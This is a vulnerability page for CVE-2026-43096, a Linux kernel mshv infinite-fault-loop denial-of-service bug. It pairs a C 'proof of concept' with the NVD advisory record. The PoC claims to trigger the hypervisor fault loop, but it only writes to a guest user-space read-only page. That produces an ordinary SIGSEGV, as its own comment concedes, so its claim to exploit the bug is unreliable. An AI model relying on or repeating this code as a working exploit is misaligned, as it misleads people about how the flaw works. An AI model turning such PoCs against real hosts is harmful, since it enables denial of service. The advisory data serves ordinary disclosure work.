CVE-2026-43096

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> // Conceptual Proof of Concept for CVE-2026-43096 // This code attempts to write to a read-only memory region // which may trigger the infinite fault loop in the host mshv module // if running inside a guest VM. int main() { printf("[+] Triggering PoC for CVE-2026-43096\n"); // Allocate a memory page with Read-Only permissions size_t page_size = getpagesize(); char *ro_page = mmap(NULL, page_size, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (ro_page == MAP_FAILED) { perror("mmap failed"); return 1; } printf("[+] Allocated Read-Only page at %p\n", ro_page); // Attempt to write to the Read-Only page // In a vulnerable mshv setup, this triggers the fault loop printf("[+] Attempting to write to Read-Only page...\n"); // This line causes a SIGSEGV in normal user space, // but inside a VM with the mshv bug, it triggers the hypervisor issue. strcpy(ro_page, "CRASH"); printf("[-] Write failed or execution continued unexpectedly.\n"); return 0; }

{"cve": {"id": "CVE-2026-43096", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:23.027", "lastModified": "2026-05-19T20:20:13.650", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmshv: Fix infinite fault loop on permission-denied GPA intercepts\n\nPrevent infinite fault loops when guests access memory regions without\nproper permissions. Currently, mshv_handle_gpa_intercept() attempts to\nremap pages for all faults on movable memory regions, regardless of\nwhether the access type is permitted. When a guest writes to a read-only\nregion, the remap succeeds but the region remains read-only, causing\nimmediate re-fault and spinning the vCPU indefinitely.\n\nValidate intercept access type against region permissions before\nattempting remaps. Reject writes to non-writable regions and executes to\nnon-executable regions early, returning false to let the VMM handle the\nintercept appropriately.\n\nThis also closes a potential DoS vector where malicious guests could\nintentionally trigger these fault loops to consume host resources."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/02226839079ccc558820a3b25c4c46812927b4ba", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/16cbec24897624051b324aa3a85859c38ca65fde", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}